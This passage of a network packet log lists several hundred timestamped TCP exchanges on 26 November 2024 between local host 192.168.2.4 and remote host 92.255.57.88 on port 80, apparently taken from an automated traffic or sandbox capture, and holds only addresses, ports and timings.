Nov 26, 2024 00:07:47.092114925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.092210054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.092228889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.092267990 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.092470884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.092513084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.092556000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.092596054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.093272924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.093317986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.093458891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.093499899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.094065905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.094114065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.094295025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.094333887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.094523907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.094562054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.095128059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.095232010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.095247984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.095288992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.095915079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.095956087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.095993042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.096029997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.096831083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.096879959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.096915960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.096952915 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.097542048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.097583055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.097603083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.097640038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.098342896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.098386049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.098426104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.098463058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.099145889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.099188089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.099236012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.099273920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.099966049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.100008011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.100069046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.100104094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.100771904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.100805044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.100831985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.100851059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.101598978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.101635933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.101700068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.101738930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.102376938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.102425098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.102492094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.102526903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.103209972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.103254080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.103364944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.103403091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.104007006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.104054928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.104098082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.104171038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.104800940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.104863882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.104999065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.105623007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.105678082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.105679035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.105720043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.106431007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.106476068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.106614113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.106657982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.107260942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.107305050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.107347965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.107387066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.108061075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.108112097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.108153105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.108191013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.108844042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.108895063 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.109289885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.109337091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.109667063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.109714031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.109765053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.109808922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.110452890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.110503912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.110542059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.110584021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.111263990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.111330032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.111365080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.111403942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.112068892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.112113953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.112195015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.112232924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.112869978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.112922907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.112968922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.113008022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.113678932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.113732100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.113770008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.113809109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.114495993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.114552975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.114665031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.114711046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.115299940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.115350962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.115453005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.115497112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.116091967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.116142988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.116183043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.116225958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.116888046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.116939068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.117027044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.117069960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.117716074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.117763996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.117803097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.117841005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.118525982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.118577003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.118643999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.118685961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.119317055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.119364023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.119390965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.119431019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.120181084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.120228052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.120289087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.120332003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.120944977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.120995998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.121036053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.121082067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.121751070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.121819973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.121862888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.121907949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.122600079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.122648001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.122674942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.122713089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.123348951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.123399973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.123471975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.123516083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.124193907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.124245882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.124269009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.124305010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.124963045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.125015974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.125017881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.125055075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.125786066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.125835896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.125895023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.125937939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.126635075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.126682043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.126724958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.126773119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.127434969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.127449036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.127486944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.128189087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.128238916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.128252029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.128290892 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.128999949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.129045010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.129087925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.129131079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.129817963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.129868031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.130249977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.130299091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.130609035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.130654097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.130698919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.130742073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.131442070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.131491899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.131527901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.131566048 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.132240057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.132304907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.132358074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.132399082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.133054018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.133110046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.133191109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.133234978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.133851051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.133898973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.133913994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.133951902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.302860022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.302876949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.302922964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.302923918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.302983046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.303021908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.303106070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.303148985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.303806067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.303853035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.303935051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.303980112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.304579973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.304621935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.304876089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.304929972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.305102110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.305144072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.305710077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.305757999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.305819035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.305861950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.306476116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.306526899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.306593895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.306638002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.307262897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.307307005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.307488918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.307534933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.308105946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.308152914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.308190107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.308238029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.308931112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.308979034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.309274912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.309390068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.309737921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.309787035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.309856892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.309897900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.310508966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.310549021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.310583115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.310620070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.311295033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.311336994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.311412096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.311464071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.312129974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.312185049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.312294960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.312338114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.312963963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.313011885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.313030958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.313075066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.313736916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.313781977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.313844919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.313886881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.314531088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.314580917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.314651966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.314691067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.315340042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.315382004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.315459013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.315494061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.316168070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.316215992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.316239119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.316277981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.316941023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.316986084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.317049980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.317100048 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.317771912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.317815065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.317854881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.317894936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.318609953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.318664074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.318731070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.318773031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.319355011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.319406033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.319457054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.319499969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.320178032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.320235014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.320264101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.320311069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.320972919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.321017027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.321082115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.321124077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.321790934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.321832895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.321906090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.321948051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.322590113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.322635889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.322690010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.322760105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.323415041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.323462963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.323513985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.323554993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.324242115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.324296951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.324378014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.324421883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.325016975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.325061083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.325098991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.325144053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.325884104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.325941086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.325963020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.325999975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.326620102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.326659918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.326718092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.326757908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.327423096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.327462912 CET	49753	80	192.168.2.4	92.255.57.88
